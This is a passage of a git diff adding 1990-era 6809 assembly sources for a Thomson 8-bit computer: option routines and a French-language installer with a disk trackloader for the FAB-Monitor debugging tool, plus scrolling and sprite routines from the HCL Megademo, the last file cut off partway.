+ FCB 'F
+ FDB FILTXT,OPFILL
+ FCB 'G
+ FDB GADTXT,OPGADG
+ FCB 'H
+ FDB HNKTXT,OPHUNK
+ FCB 'I
+ FDB IMATXT,OPIMAG
+ FCB 'J
+ FDB JMPTXT,OPJUMP
+ FCB 'K
+ FDB KILTXT,OPKILL
+ FCB 'L
+ FDB LODTXT,OPLOAD
+ FCB 'M
+ FDB MODTXT,OPMODE
+ FCB 'N
+ FDB PALTXT,OPNPAL
+ FCB 'O
+ FDB BORTXT,OPBORD
+ FCB 'P
+ FDB POKTXT,OPPOKE
+ FCB 'Q
+ FDB QITTXT,OPQUIT
+ FCB 'R
+ FDB RIDTXT,OPREAD
+ FCB 'S
+ FDB SERTXT,OPSEAR
+ FCB 'T
+ FDB ROMTXT,OPROMC
+ FCB 'U
+ FDB DESTXT,OPDESA
+ FCB 'V
+ FDB VIWTXT,OPVIEW
+ FCB 'W
+ FDB WRITXT,OPWRIT
+ FCB 'X
+ FDB REGTXT,OPREGI
+ FCB '=
+ FDB RGETXT,OPRGEQ
+ FCB 'Y
+ FDB SIDTXT,OPSIDE
+ FCB 'Z
+ FDB MOVTXT,OPMOVE
+ FCB '*
+ FDB COLTXT,OPCOLO
+ENDOPT
+
+PALTXT * initialise la palette couleurs
+ FCC "NEW PALETTE@"
+OPNPAL JSR GETC
+ CMPB #2
+ BEQ EOPPAL
+ CMPB #13
+ BNE OPNPAL
+ LDX #COLORS
+ LDU #COLORS+32
+ LDD ,X++
+ STD ,U++
+ CMPX #COLORS+32
+ BNE *-7
+EOPPAL CLRA
+ JMP HWINDW
+
+
+BORTXT * change la couleur du cadre
+ FCC "BORDER $@"
+ FCB 0
+OPBORD LDA #1
+ JSR INPUT
+ JSR HWINDW
+ BEQ EOPBOR
+ TFR U,D
+ STB >BORDER+1
+ LDB <CODCDD+2
+ ANDB #$F0
+ ADDB >BORDER+1
+ STB <CODCDD+2 registre E7DD
+EOPBOR CLRA
+ RTS
+
+MOVTXT * option: déplace l'indirection
+ FCC "ZAPPER AT $@"
+ FDB 0,0
+OPMOVE LDD $6089
+ JSR ATOHEX
+ TFR B,A
+ JSR ATOHEX
+ LEAU -4,U
+ LDX #VALZAP
+ STX <INPVAL
+ LDA #4
+ JSR INPUT
+ LDX #VALHEX
+ STX <INPVAL
+ JSR HWINDW
+ BEQ EOPMOV
+ CMPU #$6000
+ BHS ZAPONE
+ LDB $E7E5
+ STB <CMPT
+ LDB >ZZZBK1+1
+ STB $E7E5
+ LEAU $6000,U
+ BSR ZAPONE
+ LEAU $2000-16,U
+ BSR ZAPONE
+ LDB <CMPT
+ STB $E7E5
+ LEAU -$8000-16,U
+ BRA VECTRS
+ZAPONE LDA #20 taille du zappeur
+ LDX >$6089
+ CMPU >$6089
+ BLS MVZAPI
+ LEAX A,X
+ LEAU A,U
+MVZAPD LDB ,-X copie en mode
+ STB ,-U descending
+ DECA
+ BNE *-5
+ BRA VECTRS
+MVZAPI LEAY ,U
+ LDB ,X+ copie en mode
+ STB ,U+ ascending
+ DECA
+ BNE *-5
+ LEAU ,Y
+VECTRS STU >$6089 détournement RESET
+ LEAU 3,U
+ STU >$600A indirection GETC
+ STU >$0004
+ LEAU 12,U
+ STU >$000C
+ LEAU 1,U
+ STU >$0034
+ CLRA
+EOPMOV RTS
+
+
+ROMTXT * option: copie une ROM en RAM
+ FCC "TRANSFER ROM $@"
+ FCB 0
+ FCC " TO BANK $"
+ FDB 0
+OPROMC LDA #1
+ JSR INPUT choix de la page
+ LBEQ HWINDW de ROM ($0 à $F)
+ TFR U,D
+ LDX #CPYROM
+ STB 11,X ROM à commuter
+ LDU #OPROMC-2
+ LDA $E7E5
+ STA <CMPT
+ JSR ATOHEX
+ LDD #VALBNK
+ STD <INPVAL
+ LDU #OPROMC-12
+ LDA #2
+ JSR DINPUT choix de la banque
+ LDX #VALHEX de RAM ($00 à $1F)
+ STX <INPVAL
+ JSR HWINDW
+ BEQ EOPROM
+ TFR U,D
+ STB $E7E5
+
+ LDX #CPYROM
+ LDB $E7E6
+ STB ROMEND-CPYROM-7,X
+ LDU #$4000+192*40
+ LDA #$C9
+ DEC $E7C3
+ STA ,U
+ INC $E7C3
+ LDB ,X+
+ STB ,U+
+ CMPX #ROMEND
+ BNE *-15
+ LDX #0
+ LDU #$A000
+ JMP >$4000+192*40
+RETROM LDX #$4000+192*40
+ DEC $E7C3
+ LDD #$00C1+256*(ROMEND-CPYROM)
+ STB ,X+
+ DECA
+ BNE *-3
+ INC $E7C3
+ LDB <CMPT
+ STB $E7E5
+ CLRA
+EOPROM RTS
+
+CPYROM CLR $E7E6
+ LDA >$0020
+ FCB $A7,$8C,ROMEND-9-*-3
+ CLR >$0000
+ LDD ,X++
+ STD ,U++
+ LDD ,X++
+ STD ,U++
+ CMPX #$4000
+ BNE *-11
+ CLR >$0000
+ LDA #0
+ STA $E7E6
+ JMP >RETROM
+ROMEND
+
+MODTXT * change le mode d'affichage
+ FCC "MODE $@"
+ FCB 0
+OPMODE LDB <CODCDD
+ ADDB #'0
+ STB ,U
+ LDX #CHKMOD
+ STX <INPCHK
+ LDA #1
+ JSR INPUT
+ LDX #CHKHEX
+ STX <INPCHK
+ JSR HWINDW
+ BEQ EOPMOD
+ TFR U,D
+ TFR B,A
+
+ LDX #AFFMOD
+ LDB ,X++
+ CMPA ,X+
+ BEQ MDFUND
+ CMPX #COLORS
+ BNE *-9
+ BRA EOPMOD
+MDFUND STD <CODCDD rgs E7DC / CONSOLE
+ LDA -2,X
+ STA $605F
+EOPMOD CLRA
+ RTS
+
+GADTXT * Exécuter un gadget utilisateur
+ FCC "GADGET@"
+OPGADG CLRA
+ JSR GETC
+ CMPB #2
+ LBEQ HWINDW
+ CMPB #13
+ BNE OPGADG
+ LDA #13 No Gadget Installd
+ JMP ERROR
+
+COLTXT * Voir la palette de couleurs
+ FCC "SHOW COLORS@"
+OPCOLO CLRA
+ JSR GETC
+ CMPB #2
+ LBEQ HWINDW
+ CMPB #13
+ BNE OPCOLO
+ JSR HWINDW
+ JSR SYNCRO
+ PSHS DP On récupèrera DP
+ LDB #$E7 à la sortie !
+ TFR B,DP Pour accès rapides
+ LDD #30 couleur 15 en noir
+ STB <$DB
+ STA <$DA
+ STA <$DA
+ LDA #15
+ STA <$DD tour en couleur 15
+ LDA <$C8
+ ANDA #1 attend relâchement
+ BNE *-4 du clavier
+
+* SYNCRONISATION - REGLAGE COLONNE *****
+* b5 de $E7E7 : situation en ligne INILN
+ LDX #*+4
+ LDA #32
+ BITA <$E7 sort quand
+ BEQ *-2 spot dans fenêtre
+ BITA <$E7 sort quand
+ BNE *-2 spot entre border
+ STA ,X+ 5
+ MUL 11 boucle de 63
+ MUL 11 cycles dont on
+ MUL 11 sort quand le
+ MUL 11 spot est sur la
+ LDA ,-X 5 dernière
+ BITA <$E7 4 C O L O N N E
+ BEQ *-10 3 de la fenêtre
+
+* SYNCRONISATION - REGLAGE LIGNE *******
+* b7 de $E7E7 : situation en trame INITN
+ MUL 11 boucle de 64
+ MUL 11 cycles dont on
+ MUL 11 sort quand le
+ MUL 11 spot est sur
+ MUL 11 une ligne
+ TST <$E7 6 DANS le border
+ BPL *-7 3
+ MUL 11 boucle de 64
+ MUL 11 cycles dont on
+ MUL 11 sort quand le
+ MUL 11 spot est sur la
+ MUL 11 dernière
+ TST <$E7 6 L I G N E
+ BMI *-7 3 de la fenêtre
+
+ LDX #115*8-3
+ LEAX -1,X Pour centrer les
+ BNE *-2 lignes de copper.
+
+BORCOL LDU #COLORS+32
+ LDD ,U++ 8
+ STD >NOSTAL+1 6
+ LDA #30 2
+ STA <$DB 4
+NOSTAL LDD #0 3
+ STB <$DA 4
+ STA <$DA 4
+ LDX #8*11 3
+ LEAX -1,X 5
+ BNE *-2 3
+ MUL 11
+ MUL 11
+ CMPU #COLORS+66 5
+ BNE BORCOL+3 3
+
+ LDX #107*8+8-2
+ LEAX -1,X
+ BNE *-2
+ ABX
+ LDA <$C8 clavier frappé ?
+ BEQ BORCOL non -> boucle
+
+ JSR SYNCRO
+ LDD #30
+ STA <$DD tour en couleur 0
+ STB <$DB
+ LDD >COLORS+30
+ STB <$DA couleur 15 en brun
+ STA <$DA
+ JSR GETC Vide buffR clavier
+ PULS DP
+ CLRA
+ RTS
+
+ASCTXT * Afficher la table ASCII
+ FCC "ASCII TABLE@"
+OPASCI CLRA
+ JSR GETC
+ CMPB #2
+ LBEQ HWINDW
+ CMPB #13
+ BNE OPASCI+1
+ JSR HWINDW
+
+ LDD #$2032
+ STD <DMPBYT
+ LDU #PUTC
+ASCIIT LDB #32
+ JSR ,U
+ CMPA #100
+ BLS *+4
+ LDB #'1
+ JSR ,U
+ LDA <DMPBYT+1
+ JSR DA2HEX
+ LDA <DMPBYT
+ LDB #8
+ STB <CMPT
+ LDB #32
+ASCIHX JSR ,U
+ JSR DA2HEX
+ INCA
+ DEC <CMPT
+ BNE ASCIHX
+ JSR ,U
+ JSR ,U
+ LDB <DMPBYT
+ LDA #8
+ASCICH JSR ,U
+ INCB
+ DECA
+ BNE ASCICH
+ STB <DMPBYT
+ LDB #32
+ JSR ,U
+ JSR ,U
+ LDA <DMPBYT+1
+ ADDA #8
+ DAA
+ STA <DMPBYT+1
+ LDA <DMPBYT
+ CMPA #128
+ BNE ASCIIT
+ CLRA
+ RTS
+
+
+
+ INCLUD OPTIONS2
+ INCLUD OPTIONS
+ INCLUD FNCTBASE
+ INCLUD FILES
+
+
+ ORG $2300-15-32
+AFFMOD FCB $2A,$80,1 * 80 colonnes
+ FCB $21,$01,2 * Bitmap 4
+ FCB $7B,$40,3 * Bitmap 16
+ FCB $41,$10,4 * Bitmap 4 SpéC
+ FCB $00,$00,0 * TO7 / défaut
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+ FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
+NULL FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
+BUFCLV FDB 0 OLD buffer clavier
+ FDB 0,0 mon buffer clavier
+
+
+ END
diff --git a/code/3rdparty/sources2-hcl/FabMonitor/INST4000.ASM b/code/3rdparty/sources2-hcl/FabMonitor/INST4000.ASM
new file mode 100644
index 0000000..d1ecc23
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FabMonitor/INST4000.ASM
@@ -0,0 +1,445 @@
+****************************************
+* Installation de FAB-Monitor v3.1 *
+****************************************
+
+E EQU 27 code ESC
+F EQU 31 code US
+G EQU 22 code ACC
+ISCHDC EQU $002A CMPB #CHRDEC
+ZZZAD1 EQU $0003 LDX #RESET+3
+ZZZAD2 EQU $000B STB >RESET+15
+ZZZAD3 EQU $0033 JMP >RESET+16
+ZZZBK1 EQU $0162 LDB #FABBNK+1
+LEN EQU $D4
+
+ ORG $4000
+
+BUFFER FCB 0,5,6,'Z-64,$5F,$EC
+ZZZZA1
+RSTMSG FCB F,$4C,$49
+ FCC "Installation termin"
+ FCB G,$42
+ FCC "ee !"
+ FCB F,$4F,$49
+ FCC "Appuyez sur une touche"
+ FCB F,$50,$43
+ FCC "pour revenir "
+ FCB G,$41
+ FCC "a la page d'ent"
+ FCB G,$43
+ FCC "ete..."
+ZZZZA2 FCB 0
+
+COPY LDU BUFFER+4
+ CMPU #$6000
+ BHS ZONOK installe simple
+ LDA $E7E5
+ CLR $E7E5 installe en RAM-A
+ LEAU $6000,U et en RAM-B de la
+ BSR ZONOK mémoire-écran
+ LDU BUFFER+4
+ LEAU $8000,U
+ BSR ZONOK
+ STA $E7E5
+ RTS
+
+ZONOK LDX #RESET installe en RAM-B
+ LDB ,X+
+ STB ,U+
+ CMPX #ENDPRG
+ BNE *-7
+ RTS
+
+RESET FCB $6F,$8C,$0C CLR EXEC+2,PCR
+MYGETC PSHS DP,B,A,CC
+ LDA $E7E6 sauve cartouche
+FABBNK LDB #$60
+ STB $E7E6 FAB-Mon3.1 visible
+EXEC JMP >$0020
+ STA <$E6
+ PULS CC,A,B,DP,PC
+ENDPRG
+
+
+ JSR PRINTU
+GETADR LDD #$408
+ JSR $E803
+ DECA
+ BNE *-4
+ LDB #$11
+ JSR $E803
+ JSR HDIGIT
+ ASLB
+ ASLB
+ ASLB
+ ASLB
+ PSHS B
+ JSR HDIGIT
+ ADDB ,S
+ STB ,S
+ JSR HDIGIT
+ ASLB
+ ASLB
+ ASLB
+ ASLB
+ PSHS B
+ JSR HDIGIT
+ ADDB ,S
+ STB ,S
+ PULS A,B
+ EXG A,B
+ TFR D,X
+ CMPX #$4000
+ BLO GETADR
+ CMPX #$DFEC
+ BHI GETADR
+ LDB #$14
+ JMP $E803
+
+ZZZZB1
+ISITOK FCB F,$54,$47
+ FCC "Appuyez sur 'ENT' pour "
+ FCC "valider, ou 'STOP' po"
+ FCC "ur changer les param"
+ FCB G,$41
+ FCC "etres."
+ FCB 0,12,F,$4C,$49
+ FCC "Chargement en cours..."
+ZZZZB2 FCB 0
+
+RILBEG LDX #$6200
+ STU ,X++
+ CMPX #$6A00
+ BNE *-5
+
+ LDY #BUFFER
+ LDA $607F installation
+ LBEQ NOWLOD automatique (opt1)
+ LDA $618C
+ INCA
+ STA ,Y bank maximum
+ LDU #MAXBK1
+ JSR ATOHEX
+ LDU #MAXBK2
+ JSR ATOHEX
+START LDU #PGEONE
+ JSR PRINTU
+ LDD #$5FEC
+ STD 4,Y
+OPTION JSR $E806
+ CMPB #'1
+ BNE *+13
+ LDD #$0506
+ STD 1,Y
+ LDA #'Z-64
+ STA 3,Y
+ BRA CNFIRM
+ CMPB #'2
+ BNE *+13
+ LDD #$090A
+ STD 1,Y
+ LDA #'Z-64
+ STA 3,Y
+ BRA CNFIRM
+ CMPB #'3
+ BNE OPTION
+ LDD #$2E2E+$A5A5
+ STD INDIRE
+ STD INDIRE+2
+ STD BANK1
+ STD BANK2
+ LDB #0+$A5
+ STD CHRDEC
+ LDU #ECRAN2
+ JSR GETADR-3
+ STX 4,Y
+ JSR GETBNK-3
+ STA 1,Y
+ JSR PRINTU
+ JSR GETBNK
+ CMPA 1,Y
+ BEQ *-5
+ STA 2,Y
+ JSR PRINTU
+ JSR $E806
+ BEQ *-3
+ STB 3,Y
+CNFIRM JSR SHOVAL
+ LDU #ECRAN2
+ LDX #PRINTU
+ JSR ,X
+ JSR ,X
+ JSR ,X
+ JSR ,X
+ LDU #ISITOK
+ JSR PRINTU
+GETOK JSR $E806
+ CMPB #2
+ LBEQ START
+ CMPB #13
+ BNE GETOK
+ JSR PRINTU
+ JMP NOWLOD
+
+ZZZZC1
+ECRAN2 FCB 12,F,$48,$41
+ FCC "Redirection [4000-DFEC]:"
+L0 FCC " ...."
+ FCB 0,F,$4A,$41
+ FCC "BANK du code de FAB-Mon "
+L1 FCC "[02-1F]: .."
+ FCB 0,F,$4C,$41
+ FCC "BANK de sauvegarde "
+ FCB G,$42
+L2 FCC "ecran [02-1F]: .."
+ FCB 0,F,$4E,$41
+ FCC "Caract"
+ FCB G,$41
+ FCC "ere d"
+ FCB G,$42
+L3 FCC "eclencheur: CNT-Z"
+ZZZZC2 FCB 0
+
+
+NOWLOD ORCC #80
+ LDA $E7E6
+ PSHS A
+ LDB #$60
+ ADDB 1,Y
+ STB $E7E6
+ STB FABBNK+1
+
+********************* début TRACKLOADER
+
+ PSHS CC,DP,A,B,X,Y,U
+ JSR $E09D
+ LDD #$0200 lecture face 0
+ STD <$48
+ LDD #$0101 piste 1, secteur 1
+ STD <$4B
+ LDU #$0000 buffer = 0
+
+TRACK JSR $E452 positionne piste
+ LDD #$9F40
+ STA 7,X séparateur
+ STB 1,X taille,face,précom
+
+ LDA <$4C
+SECTOR STA 5,X
+ LDA #$0A config= ($FF/$0A)
+ STA 4,X
+ LDA #$A1 on veut lire $A1
+ STA 3,X
+ LDB #$1B sync-détection ON
+ STB ,X lecture secteur
+
+ LDB ,X prêt pour cette
+ BITB #2 opération dite
+ BEQ *-4 "intelligente" ?
+ LDB 3,X
+GETSYN LDB ,X lecture des 4 mots
+ BPL *-2
+ LDB 3,X de synchro :
+ CMPB #$72
+ BNE GETSYN A1/horloge/0A/72
+
+ LDY #512
+READ LDB ,X
+ BPL *-2
+ LDB 3,X lecture du champ
+ STB ,U+
+ LEAY -1,Y des SIZE données
+ BNE READ
+
+ LDB ,X
+ BITB #8 opération finie ?
+ BEQ *-4
+ CLR ,X
+ CMPU #$4000 fin lecture ?
+ BEQ THEEND
+
+ LDA <$4C secteur suivant
+ INCA
+ STA <$4C
+ CMPA #11
+ BNE SECTOR
+ LDA #1
+ STA <$4C
+ INC <$4B
+ BRA TRACK
+
+THEEND JSR $E0B9
+ PULS CC,DP,A,B,X,Y,U
+
+*********************** fin TRACKLOADER
+
+ LDD BUFFER+2
+ STA >ZZZBK1+1
+ STB >ISCHDC+1
+ LDX BUFFER+4
+ LEAX 3,X
+ STX >ZZZAD1+1
+ LEAX 12,X
+ STX >ZZZAD2+1
+ LEAX 1,X
+ STX >ZZZAD3+1
+ LDD >$600A
+ LDY #0
+GOODGT LDX ,Y+
+ CMPX #$4B55
+ BNE *+6
+ LEAY -1,Y
+ STD ,Y++
+ CMPY #$4000
+ BLO GOODGT
+ PULS A
+ STA $E7E6
+FINFIN JSR COPY
+ LDX BUFFER+4
+ STX $6089
+ LDA #$7E
+ STA $6088
+ LDA $607F
+ BEQ EXPLOD
+ LDU #RSTMSG
+ JSR PRINTU
+ JSR $E806
+ BCC *-3
+EXPLOD JMP $FDC8
+
+ JSR PRINTU
+GETBNK LDB #8
+ JSR $E803
+ JSR $E803
+ LDB #$11
+ JSR $E803
+ JSR HDIGIT
+ ASLB
+ ASLB
+ ASLB
+ ASLB
+ PSHS B
+ JSR HDIGIT
+ ADDB ,S
+ STB ,S
+ PULS A
+ CMPA #2
+ BLO GETBNK
+ CMPA ,Y
+ BHI GETBNK
+ LDB #$14
+ JMP $E803
+
+HDIGIT JSR $E806
+ CMPB #'0
+ BLO HDIGIT
+ CMPB #'F
+ BHI HDIGIT
+ CMPB #'9
+ BHI *+8
+ JSR $E803
+ SUBB #'0
+ RTS
+ CMPB #'A
+ BLO HDIGIT
+ JSR $E803
+ SUBB #'0+7
+ RTS
+
+PRINTU LDB ,U+
+ SUBB #$A5 @
+ JSR $E803
+ BNE *-7
+ RTS
+
+SHOVAL LDA 4,Y
+ LDU #INDIRE
+ JSR ATOHEX
+ LDA 5,Y
+ JSR ATOHEX
+ LDA 1,Y
+ LDU #BANK1
+ JSR ATOHEX
+ LDA 2,Y
+ LDU #BANK2
+ JSR ATOHEX
+ LDA 3,Y
+ LDU #CHRDEC
+ CMPA #32
+ BHS IFCHD2
+ LDD #$434E+$A5A5 "CNT-" @
+ STD ,U++
+ LDD #$542D+$A5A5 @
+ STD ,U++
+ LDA 3,Y
+ ADDA #64
+ BRA PRTCHR
+IFCHD2 CMPA #$9A
+ BLO IFCHD3
+ LDD #$5041+$A5A5 "PAD-" @
+ STD ,U++
+ LDD #$442D+$A5A5 @
+ STD ,U++
+ LDA 3,Y
+ SUBA #$6A
+ BRA PRTCHR
+IFCHD3 CMPA #$80
+ BLO PRTCHR
+ LDD #$464E+$A5A5 "FNC-" @
+ STD ,U++
+ LDD #$432D+$A5A5 @
+ STD ,U++
+ LDA 3,Y
+ SUBA #$5F
+ CMPA #'9
+ BLS PRTCHR
+ LDA #'A
+PRTCHR CLRB
+ ADDD #$A5A5 @
+ STD ,U++
+ RTS
+
+ATOHEX PSHS X,A
+ LDX #HEXA
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ LDA A,X
+ ADDA #$A5 @
+ STA ,U+
+ LDA ,S
+ ANDA #15
+ LDA A,X
+ ADDA #$A5 @
+ STA ,U+
+ PULS A,X,PC
+HEXA FCC "0123456789ABCDEF"
+
+ZZZZD1
+PGEONE FCB 12,F,$49,$48
+ FCC "1.Installation en BANK 5"
+ FCC "/6"
+ FCB F,$4A,$4A
+ FCC "(BASIC, Applications...)"
+ FCB F,$4D,$48
+ FCC "2.Installation en BANK 9"
+ FCC "/A"
+ FCB F,$4E,$4A
+ FCC "(Jeux, D"
+ FCB G,$42
+ FCC "emos...)"
+ FCB F,$51,$48
+ FCC _3.Installation "manuelle_
+ FCB '"
+ZZZZD2 FCB 0
+ZZZEND
+
+INDIRE EQU L0+1
+MAXBK1 EQU L1+4
+BANK1 EQU L1+9
+MAXBK2 EQU L2+10
+BANK2 EQU L2+15
+CHRDEC EQU L3+12
+
+ END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/FRACTALS.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/FRACTALS.ASM
new file mode 100644
index 0000000..0d1e7e9
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/FRACTALS.ASM
@@ -0,0 +1,236 @@
+****************************************
+* *
+* SCROLLING VERTICAL POUR "FRACTALAND" *
+* *
+****************************************
+* Codé le 16-9-90 par doc Lô *
+
+FONTE EQU $8160
+DEBANK EQU 3
+ZZ EQU $9FF4
+DIR EQU $9F
+Z EQU $F4
+
+ ORG $9660
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA RDP+2
+ STS RDP+6
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDA #$21
+ STA <$DC
+ CLR <$DD
+ LDA <$C3
+ ANDA #254
+ STA <$C3
+ LDX #$4000
+ CLR ,X+
+ CMPX #$5F40
+ BNE *-5
+ INC <$C3
+ CLR ,-X
+ CMPX #$4000
+ BNE *-5
+ LDX #FONTE
+ CLR ,X+
+ CMPX #FONTE+256
+ BNE *-5
+ LDA #255
+ LDX #COULS
+ JSR $EC00
+ LDA #DEBANK
+ STA <$E5
+ LDY #$5F40
+ LDD #0
+ STD ,Y
+ STD 2,Y
+ STD 36,Y
+ STD 38,Y
+ STD 40,Y
+ STD 42,Y
+ STD 76,Y
+ STD 78,Y
+
+SYNCRO LDY #$4028
+ LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ BRA *+2
+ LDD #$2A21
+ STB <$DC
+
+SCROLL NOP
+ STA <$DC
+ LDX 80,Y
+ STX ,Y
+ LDU 82,Y
+ STU 2,Y
+ NOP
+ STB <$DC
+ STX 36,Y
+ STU 38,Y
+ LEAY 40,Y
+ JMP *+3
+ CMPY #$5F40
+ BNE SCROLL
+ STA <$DC
+
+ LDA #DIR
+ TFR A,DP
+ DEC <Z
+ BNE SAME
+ LDU <Z+3
+ LDA ,U+
+ BNE *+5
+ LDU #TEXTE
+ STU <Z+3
+ LDB #128
+ MUL
+ LDU #FONTE
+ LEAU D,U
+ STU <Z+1
+ LDD #17
+ STB <Z
+ CLRB
+ STD ,Y
+ STD 2,Y
+ STD 36,Y
+ STD 38,Y
+ STD 40,Y
+ STD 42,Y
+ STD 76,Y
+ STD 78,Y
+ BRA JOIN
+SAME LDU <Z+1
+ PULU D,X
+ STD ,Y
+ STX 2,Y
+ STD 36,Y
+ STX 38,Y
+ PULU D,X
+ STD 40,Y
+ STX 42,Y
+ STD 76,Y
+ STX 78,Y
+ STU <Z+1
+
+JOIN LDY <Z+5
+ CMPY #$5F47
+ BEQ PADAFF
+ LDA #13
+ LDS <Z+7
+LINE PULS U,X
+ STU ,Y
+ DEC $E7C3
+ STX ,Y++
+ INC $E7C3
+ DECA
+ BNE LINE
+ LEAY 14,Y
+ STY <Z+5
+ STS <Z+7
+ LDA #$E7
+ TFR A,DP
+ TST <$C8
+ BNE RDP
+ LDS RDP+6
+ JMP SYNCRO
+PADAFF LDA #$E7
+ TFR A,DP
+ LDD <$CC
+ BITA #8
+ BNE PAPLUS
+ LDA <$E5
+ CMPA #DEBANK+7
+ BNE *+4
+ LDA #DEBANK-1
+ INCA
+ BRA NEWIMA
+PAPLUS BITA #4
+ BNE FIRE
+ LDA <$E5
+ CMPA #DEBANK
+ BNE *+4
+ LDA #DEBANK+8
+ DECA
+NEWIMA STA <$E5
+ LDX #$4007
+ STX ZZ+5
+ LDX #$A000
+ STX ZZ+7
+FIRE BITB #64
+ BNE MARRE
+ DEC ZZ+11
+ BNE MARRE
+ LDX #400
+ LEAX -1,X
+ BNE *-2
+ LDX ZZ+9
+ LDB #4
+ STB <$DB
+ LDD ,X++
+ STB <$DA
+ STA <$DA
+ STB <$DA
+ STA <$DA
+ CMPX #COLTEX+16
+ BNE *+5
+ LDX #COLTEX
+ STX ZZ+9
+ LDA #4
+ STA ZZ+11
+MARRE TST <$C8
+ LBEQ SYNCRO
+
+RDP LDA #0
+ TFR A,DP
+ LDS #0
+ CLR <$DC
+ LDA #255
+ LDX #COULS+8
+ JSR $EC00
+ RTS
+
+COULS FDB 0,4095,$60,$60
+ FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931,938
+ FDB 2611,2618,3815,123
+COLTEX FDB 0,6,$60,$66,$600,$606,$660
+ FDB $666
+TEXTE FCB 1,1,1,1,1,1,1,1,1,1,1
+
+ ORG ZZ
+ FCB 1
+ FDB FONTE,TEXTE,$4007,$A000
+ FDB COLTEX+4,$0100
+ END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/INTRO.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/INTRO.ASM
new file mode 100644
index 0000000..c4e4f31
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/INTRO.ASM
@@ -0,0 +1,380 @@
+****************************************
+* *
+* INTRODUCTION MORBIDE A LA MEGADEMO *
+* *
+****************************************
+* Codé le 10-10-90 par doctor Lô *
+
+
+SPRITE EQU $7000
+SINE EQU $9800
+FONTE EQU $9980-8
+TEXTE EQU $9A98
+DIR EQU $9B
+Z EQU $E0
+ZZ EQU DIR*256+Z
+SINDEP EQU SINE+96
+ ORG ZZ
+ FDB $A500,$A500,$A500,$A500
+ FDB $A500,$A500,$A500,$A500
+ FDB SINDEP+64,SINDEP
+ FCB 0
+ FDB TEXTE,$468,90,$DE78
+
+ ORG $9C00
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA RDP+1
+ STS RDS+2
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDD #$2100
+ STD <$DC
+ STB <$E5
+ LDX #$A000
+ CLR ,X+
+ CMPX #$E000
+ BNE *-5
+ LDA #15
+ STA <$E5
+ LDX #MAP
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ LDD #$105
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+ LDX #COLORS+32
+ LDA #255
+ JSR $EC00
+ LDA #0
+ STA <$E5
+
+SYNCRO LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDA #4
+ STA <$DB
+ LDD #3840
+ STB <$DA
+ STA <$DA
+
+ LDU #COLORS-3
+ PULU Y,S,DP
+ LDB #8
+ LDX #ZZ
+ LDU ,X++
+ LDA #4
+RUB PSHU DP,S,Y
+ LEAU 45,U
+ PSHU DP,S,Y
+ LEAU 45,U
+ PSHU DP,S,Y
+ LEAU 45,U
+ PSHU DP,S,Y
+ LEAU 45,U
+ PSHU DP,S,Y
+ LEAU 45,U
+ PSHU DP,S,Y
+ LEAU 45,U
+ PSHU DP,S,Y
+ LEAU 45,U
+ PSHU DP,S,Y
+ LEAU 45,U
+ DECA
+ BNE RUB
+ DECB
+ BNE RUB-4
+
+ LDA #DIR
+ TFR A,DP
+ LDA #8
+ STA <Z+20
+ LDY #ZZ
+AFFOUR LDS #$A085
+ LDX #ZZ+16
+ LDU 2,X sinus
+ LDA ,U
+ LEAU 32,U
+ CMPU #SINE+256
+ BLO *+6
+ LEAU -256,U
+ STU 2,X
+ LDB #40
+ MUL
+ LEAS D,S
+ LDU ,X
+ LDB ,U
+AJUS ADDB #0
+ LSRB
+ LSRB
+ LSRB
+ LEAS B,S
+ LDB ,U
+ASUJ ADDB #0
+ LEAU 32,U
+ CMPU #SINE+320
+ BLO *+6
+ LEAU -256,U
+ STU ,X
+ ANDB #7
+ LDA #160
+ MUL
+PSPRI LDU #SPRITE
+ LEAU D,U
+ STS ,Y++
+ STY RECU+2
+ LDA #8
+AFCRA PULU X,Y,B
+ PSHS B,Y,X
+ LEAS 45,S
+ PULU X,Y,B
+ PSHS B,Y,X
+ LEAS 45,S
+ PULU X,Y,B
+ PSHS B,Y,X
+ LEAS 45,S
+ PULU X,Y,B
+ PSHS B,Y,X
+ LEAS 45,S
+ DECA
+ BNE AFCRA
+RECU LDY #0
+ DEC <Z+20
+ BNE AFFOUR
+ LDX <Z+16
+VITX LEAX 2,X
+ CMPX #SINDEP+96
+ BNE NORM
+ LDX #SINDEP+64
+ STX <Z+16
+ LDX #SINDEP
+ STX <Z+18
+ BRA JOIN
+NORM STX <Z+16
+ LDX <Z+18
+VITY LEAX 2,X
+ STX <Z+18
+
+JOIN LDB <Z+23
+ LDA $E7CC
+ BITA #1
+ BNE DOWN
+UP CMPB #3
+ BEQ EST
+ DECB
+ BRA EST
+DOWN BITA #2
